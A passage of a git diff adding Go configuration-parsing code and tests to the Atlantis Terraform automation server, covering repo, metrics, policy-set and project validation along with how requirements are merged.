len(id)-1]) + if err != nil { + return fmt.Errorf("parsing: %s: %w", id, err) + } + return nil + } + + branchValid := func(value interface{}) error { + branch := value.(string) + if branch == "" { + return nil + } + if !strings.HasPrefix(branch, "/") || !strings.HasSuffix(branch, "/") { + return errors.New("regex must begin and end with a slash '/'") + } + withoutSlashes := branch[1 : len(branch)-1] + _, err := regexp.Compile(withoutSlashes) + if err != nil { + return fmt.Errorf("parsing: %s: %w", branch, err) + } + return nil + } + + repoConfigFileValid := func(value interface{}) error { + repoConfigFile := value.(string) + if repoConfigFile == "" { + return nil + } + if strings.HasPrefix(repoConfigFile, "/") { + return errors.New("must not starts with a slash '/'") + } + if strings.Contains(repoConfigFile, "../") || strings.Contains(repoConfigFile, "..\\") { + return errors.New("must not contains parent directory path like '../'") + } + return nil + } + + overridesValid := func(value interface{}) error { + overrides := value.([]string) + for _, o := range overrides { + if o != valid.PlanRequirementsKey && o != valid.ApplyRequirementsKey && o != valid.ImportRequirementsKey && o != valid.WorkflowKey && o != valid.DeleteSourceBranchOnMergeKey && o != valid.RepoLockingKey && o != valid.RepoLocksKey && o != valid.PolicyCheckKey && o != valid.CustomPolicyCheckKey && o != valid.SilencePRCommentsKey { + return fmt.Errorf("%q is not a valid override, only %q, %q, %q, %q, %q, %q, %q, %q, %q, and %q are supported", o, valid.PlanRequirementsKey, valid.ApplyRequirementsKey, valid.ImportRequirementsKey, valid.WorkflowKey, valid.DeleteSourceBranchOnMergeKey, valid.RepoLockingKey, valid.RepoLocksKey, valid.PolicyCheckKey, valid.CustomPolicyCheckKey, valid.SilencePRCommentsKey) + } + } + return nil + } + + workflowExists := func(value interface{}) error { + // We validate workflows in ParserValidator.validateRepoWorkflows + // because we need the list of workflows to validate. + return nil + } + + deleteSourceBranchOnMergeValid := func(value interface{}) error { + //TOBE IMPLEMENTED + return nil + } + + autoDiscoverValid := func(value interface{}) error { + autoDiscover := value.(*AutoDiscover) + if autoDiscover != nil { + return autoDiscover.Validate() + } + return nil + } + + repoLocksValid := func(value interface{}) error { + repoLocks := value.(*RepoLocks) + if repoLocks != nil { + return repoLocks.Validate() + } + return nil + } + + return validation.ValidateStruct(&r, + validation.Field(&r.ID, validation.Required, validation.By(idValid)), + validation.Field(&r.Branch, validation.By(branchValid)), + validation.Field(&r.RepoConfigFile, validation.By(repoConfigFileValid)), + validation.Field(&r.AllowedOverrides, validation.By(overridesValid)), + validation.Field(&r.PlanRequirements, validation.By(validPlanReq)), + validation.Field(&r.ApplyRequirements, validation.By(validApplyReq)), + validation.Field(&r.ImportRequirements, validation.By(validImportReq)), + validation.Field(&r.Workflow, validation.By(workflowExists)), + validation.Field(&r.DeleteSourceBranchOnMerge, validation.By(deleteSourceBranchOnMergeValid)), + validation.Field(&r.AutoDiscover, validation.By(autoDiscoverValid)), + validation.Field(&r.RepoLocks, validation.By(repoLocksValid)), + ) +} + +func (r Repo) ToValid(workflows map[string]valid.Workflow, globalPlanReqs []string, globalApplyReqs []string, globalImportReqs []string) valid.Repo { + var id string + var idRegex *regexp.Regexp + if r.HasRegexID() { + withoutSlashes := r.ID[1 : len(r.ID)-1] + // Safe to use MustCompile because we test it in Validate(). + idRegex = regexp.MustCompile(withoutSlashes) + } else { + id = r.ID + } + + var branchRegex *regexp.Regexp + if r.HasRegexBranch() { + withoutSlashes := r.Branch[1 : len(r.Branch)-1] + // Safe to use MustCompile because we test it in Validate(). + branchRegex = regexp.MustCompile(withoutSlashes) + } + + var workflow *valid.Workflow + if r.Workflow != nil { + // This key is guaranteed to exist because we test for it in + // ParserValidator.validateRepoWorkflows. + ptr := workflows[*r.Workflow] + workflow = &ptr + } + + var preWorkflowHooks []*valid.WorkflowHook + if len(r.PreWorkflowHooks) > 0 { + for _, hook := range r.PreWorkflowHooks { + preWorkflowHooks = append(preWorkflowHooks, hook.ToValid()) + } + } + + var postWorkflowHooks []*valid.WorkflowHook + if len(r.PostWorkflowHooks) > 0 { + for _, hook := range r.PostWorkflowHooks { + postWorkflowHooks = append(postWorkflowHooks, hook.ToValid()) + } + } + + var mergedPlanReqs []string + mergedPlanReqs = append(mergedPlanReqs, r.PlanRequirements...) + var mergedApplyReqs []string + mergedApplyReqs = append(mergedApplyReqs, r.ApplyRequirements...) + var mergedImportReqs []string + mergedImportReqs = append(mergedImportReqs, r.ImportRequirements...) + + // only add global reqs if they don't exist already. +OuterGlobalPlanReqs: + for _, globalReq := range globalPlanReqs { + for _, currReq := range r.PlanRequirements { + if globalReq == currReq { + continue OuterGlobalPlanReqs + } + } + + // dont add policy_check step if repo have it explicitly disabled + if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { + continue + } + mergedPlanReqs = append(mergedPlanReqs, globalReq) + } +OuterGlobalApplyReqs: + for _, globalReq := range globalApplyReqs { + for _, currReq := range r.ApplyRequirements { + if globalReq == currReq { + continue OuterGlobalApplyReqs + } + } + + // dont add policy_check step if repo have it explicitly disabled + if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { + continue + } + mergedApplyReqs = append(mergedApplyReqs, globalReq) + } +OuterGlobalImportReqs: + for _, globalReq := range globalImportReqs { + for _, currReq := range r.ImportRequirements { + if globalReq == currReq { + continue OuterGlobalImportReqs + } + } + + // dont add policy_check step if repo have it explicitly disabled + if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { + continue + } + mergedImportReqs = append(mergedImportReqs, globalReq) + } + + var autoDiscover *valid.AutoDiscover + if r.AutoDiscover != nil { + autoDiscover = r.AutoDiscover.ToValid() + } + + var repoLocks *valid.RepoLocks + if r.RepoLocks != nil { + repoLocks = r.RepoLocks.ToValid() + } + + return valid.Repo{ + ID: id, + IDRegex: idRegex, + BranchRegex: branchRegex, + RepoConfigFile: r.RepoConfigFile, + PlanRequirements: mergedPlanReqs, + ApplyRequirements: mergedApplyReqs, + ImportRequirements: mergedImportReqs, + PreWorkflowHooks: preWorkflowHooks, + Workflow: workflow, + PostWorkflowHooks: postWorkflowHooks, + AllowedWorkflows: r.AllowedWorkflows, + AllowedOverrides: r.AllowedOverrides, + AllowCustomWorkflows: r.AllowCustomWorkflows, + DeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge, + RepoLocking: r.RepoLocking, + RepoLocks: repoLocks, + PolicyCheck: r.PolicyCheck, + CustomPolicyCheck: r.CustomPolicyCheck, + AutoDiscover: autoDiscover, + SilencePRComments: r.SilencePRComments, + } +} diff --git a/server/core/config/raw/metrics.go b/server/core/config/raw/metrics.go new file mode 100644 index 0000000000..c427407587 --- /dev/null +++ b/server/core/config/raw/metrics.go @@ -0,0 +1,61 @@ +package raw + +import ( + validation "github.com/go-ozzo/ozzo-validation" + "github.com/go-ozzo/ozzo-validation/is" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +type Metrics struct { + Statsd *Statsd `yaml:"statsd" json:"statsd"` + Prometheus *Prometheus `yaml:"prometheus" json:"prometheus"` +} + +type Prometheus struct { + Endpoint string `yaml:"endpoint" json:"endpoint"` +} + +func (p *Prometheus) Validate() error { + return validation.ValidateStruct(p, validation.Field(&p.Endpoint, validation.Required)) +} + +type Statsd struct { + Port string `yaml:"port" json:"port"` + Host string `yaml:"host" json:"host"` +} + +func (s *Statsd) Validate() error { + return validation.ValidateStruct(s, + validation.Field(&s.Host, validation.Required), + validation.Field(&s.Port, validation.Required), + validation.Field(&s.Host, is.Host), + validation.Field(&s.Port, is.Int)) +} + +func (m Metrics) Validate() error { + res := validation.ValidateStruct(&m, + validation.Field(&m.Statsd, validation.NilOrNotEmpty), + validation.Field(&m.Prometheus, validation.NilOrNotEmpty), + ) + return res +} + +func (m Metrics) ToValid() valid.Metrics { + // we've already validated at this point + if m.Statsd != nil { + return valid.Metrics{ + Statsd: &valid.Statsd{ + Host: m.Statsd.Host, + Port: m.Statsd.Port, + }, + } + } + if m.Prometheus != nil { + return valid.Metrics{ + Prometheus: &valid.Prometheus{ + Endpoint: m.Prometheus.Endpoint, + }, + } + } + return valid.Metrics{} +} diff --git a/server/core/config/raw/metrics_test.go b/server/core/config/raw/metrics_test.go new file mode 100644 index 0000000000..f105d7977b --- /dev/null +++ b/server/core/config/raw/metrics_test.go @@ -0,0 +1,148 @@ +package raw_test + +import ( + "encoding/json" + "testing" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/stretchr/testify/assert" +) + +func TestMetrics_Unmarshal(t *testing.T) { + t.Run("yaml", func(t *testing.T) { + + rawYaml := ` +statsd: + host: 127.0.0.1 + port: 8125 +prometheus: + endpoint: /metrics +` + + var result raw.Metrics + + err := unmarshalString(rawYaml, &result) + assert.NoError(t, err) + }) + + t.Run("json", func(t *testing.T) { + rawJSON := ` +{ + "statsd": { + "host": "127.0.0.1", + "port": "8125" + }, + "prometheus": { + "endpoint": "/metrics" + } +} +` + + var result raw.Metrics + + err := json.Unmarshal([]byte(rawJSON), &result) + assert.NoError(t, err) + }) +} +func TestMetrics_Validate_Success(t *testing.T) { + + cases := []struct { + description string + subject raw.Metrics + }{ + { + description: "success with stats config", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Host: "127.0.0.1", + Port: "8125", + }, + }, + }, + { + description: "success with stats config using hostname", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Host: "localhost", + Port: "8125", + }, + }, + }, + { + description: "missing stats", + }, + { + description: "success with prometheus config", + subject: raw.Metrics{ + Prometheus: &raw.Prometheus{ + Endpoint: "/metrics", + }, + }, + }, + { + description: "success with both configs", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Host: "127.0.0.1", + Port: "8125", + }, + Prometheus: &raw.Prometheus{ + Endpoint: "/metrics", + }, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + assert.NoError(t, c.subject.Validate()) + }) + } + +} +func TestMetrics_Validate_Error(t *testing.T) { + cases := []struct { + description string + subject raw.Metrics + }{ + { + description: "missing host", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Port: "8125", + }, + }, + }, + { + description: "missing port", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Host: "127.0.0.1", + }, + }, + }, + { + description: "invalid port", + subject: raw.Metrics{ + Statsd: &raw.Statsd{ + Host: "127.0.0.1", + Port: "string", + }, + }, + }, + { + description: "invalid endpoint", + subject: raw.Metrics{ + Prometheus: &raw.Prometheus{ + Endpoint: "", + }, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + assert.Error(t, c.subject.Validate()) + }) + } +} diff --git a/server/core/config/raw/policies.go b/server/core/config/raw/policies.go new file mode 100644 index 0000000000..be10e11c09 --- /dev/null +++ b/server/core/config/raw/policies.go @@ -0,0 +1,102 @@ +package raw + +import ( + validation "github.com/go-ozzo/ozzo-validation" + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +// PolicySets is the raw schema for repo-level atlantis.yaml config. +type PolicySets struct { + Version *string `yaml:"conftest_version,omitempty" json:"conftest_version,omitempty"` + Owners PolicyOwners `yaml:"owners,omitempty" json:"owners,omitempty"` + PolicySets []PolicySet `yaml:"policy_sets" json:"policy_sets"` + ApproveCount int `yaml:"approve_count,omitempty" json:"approve_count,omitempty"` +} + +func (p PolicySets) Validate() error { + return validation.ValidateStruct(&p, + validation.Field(&p.Version, validation.By(VersionValidator)), + validation.Field(&p.PolicySets, validation.Required.Error("cannot be empty; Declare policies that you would like to enforce")), + ) +} + +func (p PolicySets) ToValid() valid.PolicySets { + policySets := valid.PolicySets{} + + if p.Version != nil { + policySets.Version, _ = version.NewVersion(*p.Version) + } + + // Default number of required reviews for all policy sets should be 1. + // Negative numbers are automatically set to 1. + policySets.ApproveCount = p.ApproveCount + if policySets.ApproveCount <= 0 { + policySets.ApproveCount = 1 + } + + policySets.Owners = p.Owners.ToValid() + + validPolicySets := make([]valid.PolicySet, 0) + for _, rawPolicySet := range p.PolicySets { + // Default to top-level review count if not specified. + // Negative numbers are automatically set to the default. + if rawPolicySet.ApproveCount <= 0 { + rawPolicySet.ApproveCount = policySets.ApproveCount + } + validPolicySets = append(validPolicySets, rawPolicySet.ToValid()) + } + policySets.PolicySets = validPolicySets + + return policySets +} + +type PolicyOwners struct { + Users []string `yaml:"users,omitempty" json:"users,omitempty"` + Teams []string `yaml:"teams,omitempty" json:"teams,omitempty"` +} + +func (o PolicyOwners) ToValid() valid.PolicyOwners { + var policyOwners valid.PolicyOwners + + if len(o.Users) > 0 { + policyOwners.Users = o.Users + } + + if len(o.Teams) > 0 { + policyOwners.Teams = o.Teams + } + return policyOwners +} + +type PolicySet struct { + Path string `yaml:"path" json:"path"` + Source string `yaml:"source" json:"source"` + Name string `yaml:"name" json:"name"` + Owners PolicyOwners `yaml:"owners,omitempty" json:"owners,omitempty"` + ApproveCount int `yaml:"approve_count,omitempty" json:"approve_count,omitempty"` + PreventSelfApprove bool `yaml:"prevent_self_approve,omitempty" json:"prevent_self_approve,omitempty"` +} + +func (p PolicySet) Validate() error { + return validation.ValidateStruct(&p, + validation.Field(&p.Name, validation.Required.Error("is required")), + validation.Field(&p.Owners), + validation.Field(&p.ApproveCount), + validation.Field(&p.Path, validation.Required.Error("is required")), + validation.Field(&p.Source, validation.In(valid.LocalPolicySet, valid.GithubPolicySet).Error("only 'local' and 'github' source types are supported")), + ) +} + +func (p PolicySet) ToValid() valid.PolicySet { + var policySet valid.PolicySet + + policySet.Name = p.Name + policySet.Path = p.Path + policySet.Source = p.Source + policySet.ApproveCount = p.ApproveCount + policySet.PreventSelfApprove = p.PreventSelfApprove + policySet.Owners = p.Owners.ToValid() + + return policySet +} diff --git a/server/core/config/raw/policies_test.go b/server/core/config/raw/policies_test.go new file mode 100644 index 0000000000..4f8f6a3133 --- /dev/null +++ b/server/core/config/raw/policies_test.go @@ -0,0 +1,268 @@ +package raw_test + +import ( + "testing" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" + yaml "gopkg.in/yaml.v3" +) + +func TestPolicySetsConfig_YAMLMarshalling(t *testing.T) { + cases := []struct { + description string + input string + exp raw.PolicySets + expErr string + }{ + { + description: "valid yaml", + input: ` +conftest_version: v1.0.0 +policy_sets: +- name: policy-name + source: "local" + path: "rel/path/to/policy-set" +`, + exp: raw.PolicySets{ + Version: String("v1.0.0"), + PolicySets: []raw.PolicySet{ + { + Name: "policy-name", + Source: valid.LocalPolicySet, + Path: "rel/path/to/policy-set", + }, + }, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var got raw.PolicySets + err := unmarshalString(c.input, &got) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, got) + + _, err = yaml.Marshal(got) + Ok(t, err) + + var got2 raw.PolicySets + err = unmarshalString(c.input, &got2) + Ok(t, err) + Equals(t, got2, got) + }) + } +} + +func TestPolicySets_Validate(t *testing.T) { + cases := []struct { + description string + input raw.PolicySets + expErr string + }{ + // Valid inputs. + { + description: "policies", + input: raw.PolicySets{ + Version: String("v1.0.0"), + PolicySets: []raw.PolicySet{ + { + Name: "policy-name-1", + Path: "rel/path/to/source", + Source: valid.LocalPolicySet, + }, + { + Name: "policy-name-2", + Owners: raw.PolicyOwners{ + Users: []string{ + "john-doe", + "jane-doe", + }, + }, + Path: "rel/path/to/source", + Source: valid.GithubPolicySet, + }, + }, + }, + expErr: "", + }, + + // Invalid inputs. + { + description: "empty elem", + input: raw.PolicySets{}, + expErr: "policy_sets: cannot be empty; Declare policies that you would like to enforce.", + }, + + { + description: "missing policy name and source path", + input: raw.PolicySets{ + PolicySets: []raw.PolicySet{ + {}, + }, + }, + expErr: "policy_sets: (0: (name: is required; path: is required.).).", + }, + { + description: "invalid source type", + input: raw.PolicySets{ + PolicySets: []raw.PolicySet{ + { + Name: "good-policy", + Source: "invalid-source-type", + Path: "rel/path/to/source", + }, + }, + }, + expErr: "policy_sets: (0: (source: only 'local' and 'github' source types are supported.).).", + }, + { + description: "empty string version", + input: raw.PolicySets{ + Version: String(""), + PolicySets: []raw.PolicySet{ + { + Name: "policy-name-1", + Path: "rel/path/to/source", + Source: valid.LocalPolicySet, + }, + }, + }, + expErr: "conftest_version: version \"\" could not be parsed: Malformed version: .", + }, + { + description: "invalid version", + input: raw.PolicySets{ + Version: String("version123"), + PolicySets: []raw.PolicySet{ + { + Name: "policy-name-1", + Path: "rel/path/to/source", + Source: valid.LocalPolicySet, + }, + }, + }, + expErr: "conftest_version: version \"version123\" could not be parsed: Malformed version: version123.", + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := c.input.Validate() + if c.expErr == "" { + Ok(t, err) + return + } + ErrEquals(t, c.expErr, err) + }) + } +} + +func TestPolicySets_ToValid(t *testing.T) { + version, _ := version.NewVersion("v1.0.0") + cases := []struct { + description string + input raw.PolicySets + exp valid.PolicySets + }{ + { + description: "valid policies with owners", + input: raw.PolicySets{ + Version: String("v1.0.0"), + Owners: raw.PolicyOwners{ + Users: []string{ + "test", + }, + Teams: []string{ + "testteam", + }, + }, + PolicySets: []raw.PolicySet{ + { + Name: "good-policy", + Owners: raw.PolicyOwners{ + Users: []string{ + "john-doe", + "jane-doe", + }, + }, + Path: "rel/path/to/source", + Source: valid.LocalPolicySet, + }, + }, + }, + exp: valid.PolicySets{ + Version: version, + ApproveCount: 1, + Owners: valid.PolicyOwners{ + Users: []string{"test"}, + Teams: []string{"testteam"}, + }, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + ApproveCount: 1, + Owners: valid.PolicyOwners{ + Users: []string{ + "john-doe", + "jane-doe", + }, + }, + Path: "rel/path/to/source", + Source: "local", + }, + }, + }, + }, + { + description: "valid policies without owners", + input: raw.PolicySets{ + Version: String("v1.0.0"), + PolicySets: []raw.PolicySet{ + { + Name: "good-policy", + Owners: raw.PolicyOwners{ + Users: []string{ + "john-doe", + "jane-doe", + }, + }, + Path: "rel/path/to/source", + Source: valid.LocalPolicySet, + }, + }, + }, + exp: valid.PolicySets{ + Version: version, + ApproveCount: 1, + PolicySets: []valid.PolicySet{ + { + Name: "good-policy", + Owners: valid.PolicyOwners{ + Users: []string{ + "john-doe", + "jane-doe", + }, + }, + Path: "rel/path/to/source", + Source: "local", + ApproveCount: 1, + }, + }, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/core/config/raw/project.go b/server/core/config/raw/project.go new file mode 100644 index 0000000000..74d12539bf --- /dev/null +++ b/server/core/config/raw/project.go @@ -0,0 +1,220 @@ +package raw + +import ( + "errors" + "fmt" + "net/url" + "path/filepath" + "regexp" + "strings" + + validation "github.com/go-ozzo/ozzo-validation" + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +const ( + DefaultWorkspace = "default" + ApprovedRequirement = "approved" + MergeableRequirement = "mergeable" + UnDivergedRequirement = "undiverged" +) + +type Project struct { + Name *string `yaml:"name,omitempty"` + Branch *string `yaml:"branch,omitempty"` + Dir *string `yaml:"dir,omitempty"` + Workspace *string `yaml:"workspace,omitempty"` + Workflow *string `yaml:"workflow,omitempty"` + TerraformDistribution *string `yaml:"terraform_distribution,omitempty"` + TerraformVersion *string `yaml:"terraform_version,omitempty"` + Autoplan *Autoplan `yaml:"autoplan,omitempty"` + PlanRequirements []string `yaml:"plan_requirements,omitempty"` + ApplyRequirements []string `yaml:"apply_requirements,omitempty"` + ImportRequirements []string `yaml:"import_requirements,omitempty"` + DependsOn []string `yaml:"depends_on,omitempty"` + DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty"` + RepoLocking *bool `yaml:"repo_locking,omitempty"` + RepoLocks *RepoLocks `yaml:"repo_locks,omitempty"` + ExecutionOrderGroup *int `yaml:"execution_order_group,omitempty"` + PolicyCheck *bool `yaml:"policy_check,omitempty"` + CustomPolicyCheck *bool `yaml:"custom_policy_check,omitempty"` + SilencePRComments []string `yaml:"silence_pr_comments,omitempty"` +} + +func (p Project) Validate() error { + hasDotDot := func(value interface{}) error { + if strings.Contains(*value.(*string), "..") { + return errors.New("cannot contain '..'") + } + return nil + } + + validName := func(value interface{}) error { + strPtr := value.(*string) + if strPtr == nil { + return nil + } + if *strPtr == "" { + return errors.New("if set cannot be empty") + } + if !validProjectName(*strPtr) { + return fmt.Errorf("%q is not allowed: must contain only URL safe characters", *strPtr) + } + return nil + } + + branchValid := func(value interface{}) error { + strPtr := value.(*string) + if strPtr == nil { + return nil + } + branch := *strPtr + if !strings.HasPrefix(branch, "/") || !strings.HasSuffix(branch, "/") { + return errors.New("regex must begin and end with a slash '/'") + } + withoutSlashes := branch[1 : len(branch)-1] + _, err := regexp.Compile(withoutSlashes) + if err != nil { + return fmt.Errorf("parsing: %s: %w", branch, err) + } + return nil + } + + DependsOn := func(value interface{}) error { + return nil + } + + return validation.ValidateStruct(&p, + validation.Field(&p.Dir, validation.Required, validation.By(hasDotDot)), + validation.Field(&p.PlanRequirements, validation.By(validPlanReq)), + validation.Field(&p.ApplyRequirements, validation.By(validApplyReq)), + validation.Field(&p.ImportRequirements, validation.By(validImportReq)), + validation.Field(&p.TerraformDistribution, validation.By(validDistribution)), + validation.Field(&p.TerraformVersion, validation.By(VersionValidator)), + validation.Field(&p.DependsOn, validation.By(DependsOn)), + validation.Field(&p.Name, validation.By(validName)), + validation.Field(&p.Branch, validation.By(branchValid)), + ) +} + +func (p Project) ToValid() valid.Project { + var v valid.Project + // Prepend ./ and then run .Clean() so we're guaranteed to have a relative + // directory. This is necessary because we use this dir without sanitation + // in DefaultProjectFinder. + cleanedDir := filepath.Clean("./" + *p.Dir) + v.Dir = cleanedDir + + if p.Branch != nil { + branch := *p.Branch + withoutSlashes := branch[1 : len(branch)-1] + // Safe to use MustCompile because we test it in Validate(). + v.BranchRegex = regexp.MustCompile(withoutSlashes) + } + + if p.Workspace == nil || *p.Workspace == "" { + v.Workspace = DefaultWorkspace + } else { + v.Workspace = *p.Workspace + } + + v.WorkflowName = p.Workflow + if p.TerraformVersion != nil { + v.TerraformVersion, _ = version.NewVersion(*p.TerraformVersion) + } + if p.TerraformDistribution != nil { + v.TerraformDistribution = p.TerraformDistribution + } + if p.Autoplan == nil { + v.Autoplan = DefaultAutoPlan() + } else { + v.Autoplan = p.Autoplan.ToValid() + } + + // There are no default apply/import requirements. + v.PlanRequirements = p.PlanRequirements + v.ApplyRequirements = p.ApplyRequirements + v.ImportRequirements = p.ImportRequirements + + v.Name = p.Name + + v.DependsOn = p.DependsOn + + if p.DeleteSourceBranchOnMerge != nil { + v.DeleteSourceBranchOnMerge = p.DeleteSourceBranchOnMerge + } + + if p.RepoLocking != nil { + v.RepoLocking = p.RepoLocking + } + + if p.RepoLocks != nil { + v.RepoLocks = p.RepoLocks.ToValid() + } + + if p.ExecutionOrderGroup != nil { + v.ExecutionOrderGroup = *p.ExecutionOrderGroup + } + + if p.PolicyCheck != nil { + v.PolicyCheck = p.PolicyCheck + } + + if p.CustomPolicyCheck != nil { + v.CustomPolicyCheck = p.CustomPolicyCheck + } + + if p.SilencePRComments != nil { + v.SilencePRComments = p.SilencePRComments + } + + return v +} + +// validProjectName returns true if the project name is valid. +// Since the name might be used in URLs and definitely in files we don't +// support any characters that must be url escaped *except* for '/' because +// users like to name their projects to match the directory it's in. +func validProjectName(name string) bool { + nameWithoutSlashes := strings.Replace(name, "/", "-", -1) + return nameWithoutSlashes == url.QueryEscape(nameWithoutSlashes) +} + +func validPlanReq(value interface{}) error { + reqs := value.([]string) + for _, r := range reqs { + if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { + return fmt.Errorf("%q is not a valid plan_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) + } + } + return nil +} + +func validApplyReq(value interface{}) error { + reqs := value.([]string) + for _, r := range reqs { + if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { + return fmt.Errorf("%q is not a valid apply_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) + } + } + return nil +} + +func validImportReq(value interface{}) error { + reqs := value.([]string) + for _, r := range reqs { + if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { + return fmt.Errorf("%q is not a valid import_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) + } + } + return nil +} + +func validDistribution(value interface{}) error { + distribution := value.(*string) + if distribution != nil && *distribution != "terraform" && *distribution != "opentofu" { + return fmt.Errorf("'%s' is not a valid terraform_distribution, only '%s' and '%s' are supported", *distribution, "terraform", "opentofu") + } + return nil +} diff --git a/server/core/config/raw/project_test.go b/server/core/config/raw/project_test.go new file mode 100644 index 0000000000..3c69177f96 --- /dev/null +++ b/server/core/config/raw/project_test.go @@ -0,0 +1,532 @@ +package raw_test + +import ( + "testing" + + validation "github.com/go-ozzo/ozzo-validation" + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestProject_UnmarshalYAML(t *testing.T) { + cases := []struct { + description string + input string + exp raw.Project + }{ + { + description: "omit unset fields", + input: "", + exp: raw.Project{ + Dir: nil, + Workspace: nil, + Workflow: nil, + TerraformVersion: nil, + Autoplan: nil, + PlanRequirements: nil, + ApplyRequirements: nil, + ImportRequirements: nil, + Name: nil, + Branch: nil, + }, + }, + { + description: "all fields set including mergeable apply requirement", + input: ` +name: myname +branch: mybranch +dir: mydir +workspace: workspace +workflow: workflow +terraform_version: v0.11.0 +autoplan: + when_modified: [] + enabled: false +plan_requirements: +- mergeable +apply_requirements: +- mergeable +import_requirements: +- mergeable +execution_order_group: 10`, + exp: raw.Project{ + Name: String("myname"), + Branch: String("mybranch"), + Dir: String("mydir"), + Workspace: String("workspace"), + Workflow: String("workflow"), + TerraformVersion: String("v0.11.0"), + Autoplan: &raw.Autoplan{ + WhenModified: []string{}, + Enabled: Bool(false), + }, + PlanRequirements: []string{"mergeable"}, + ApplyRequirements: []string{"mergeable"}, + ImportRequirements: []string{"mergeable"}, + ExecutionOrderGroup: Int(10), + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var p raw.Project + err := unmarshalString(c.input, &p) + Ok(t, err) + Equals(t, c.exp, p) + }) + } +} + +func TestProject_Validate(t *testing.T) { + cases := []struct { + description string + input raw.Project + expErr string + }{ + { + description: "minimal fields", + input: raw.Project{ + Dir: String("."), + }, + expErr: "", + }, + { + description: "dir empty", + input: raw.Project{ + Dir: nil, + }, + expErr: "dir: cannot be blank.", + }, + { + description: "dir with ..", + input: raw.Project{ + Dir: String("../mydir"), + }, + expErr: "dir: cannot contain '..'.", + }, + { + description: "not a regexp for branch", + input: raw.Project{ + Branch: String("text"), + Dir: String("."), + }, + expErr: "branch: regex must begin and end with a slash '/'.", + }, + { + description: "invalid regexp for branch", + input: raw.Project{ + Branch: String("/(text/"), + Dir: String("."), + }, + expErr: "branch: parsing: /(text/: error parsing regexp: missing closing ): `(text`.", + }, + { + description: "plan reqs with unsupported", + input: raw.Project{ + Dir: String("."), + PlanRequirements: []string{"unsupported"}, + }, + expErr: "plan_requirements: \"unsupported\" is not a valid plan_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", + }, + { + description: "plan reqs with undiverged, mergeable and approved requirements", + input: raw.Project{ + Dir: String("."), + PlanRequirements: []string{"undiverged", "mergeable", "approved"}, + }, + expErr: "", + }, + { + description: "plan reqs with approved requirement", + input: raw.Project{ + Dir: String("."), + PlanRequirements: []string{"approved"}, + }, + expErr: "", + }, + { + description: "plan reqs with mergeable requirement", + input: raw.Project{ + Dir: String("."), + PlanRequirements: []string{"mergeable"}, + }, + expErr: "", + }, + { + description: "plan reqs with mergeable and approved requirements", + input: raw.Project{ + Dir: String("."), + PlanRequirements: []string{"mergeable", "approved"}, + }, + expErr: "", + }, + { + description: "apply reqs with unsupported", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"unsupported"}, + }, + expErr: "apply_requirements: \"unsupported\" is not a valid apply_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", + }, + { + description: "apply reqs with approved requirement", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"approved"}, + }, + expErr: "", + }, + { + description: "apply reqs with mergeable requirement", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"mergeable"}, + }, + expErr: "", + }, + { + description: "apply reqs with undiverged requirement", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"undiverged"}, + }, + expErr: "", + }, + { + description: "apply reqs with mergeable and approved requirements", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"mergeable", "approved"}, + }, + expErr: "", + }, + { + description: "apply reqs with undiverged and approved requirements", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"undiverged", "approved"}, + }, + expErr: "", + }, + { + description: "apply reqs with undiverged and mergeable requirements", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"undiverged", "mergeable"}, + }, + expErr: "", + }, + { + description: "apply reqs with undiverged, mergeable and approved requirements", + input: raw.Project{ + Dir: String("."), + ApplyRequirements: []string{"undiverged", "mergeable", "approved"}, + }, + expErr: "", + }, + { + description: "import reqs with unsupported", + input: raw.Project{ + Dir: String("."), + ImportRequirements: []string{"unsupported"}, + }, + expErr: "import_requirements: \"unsupported\" is not a 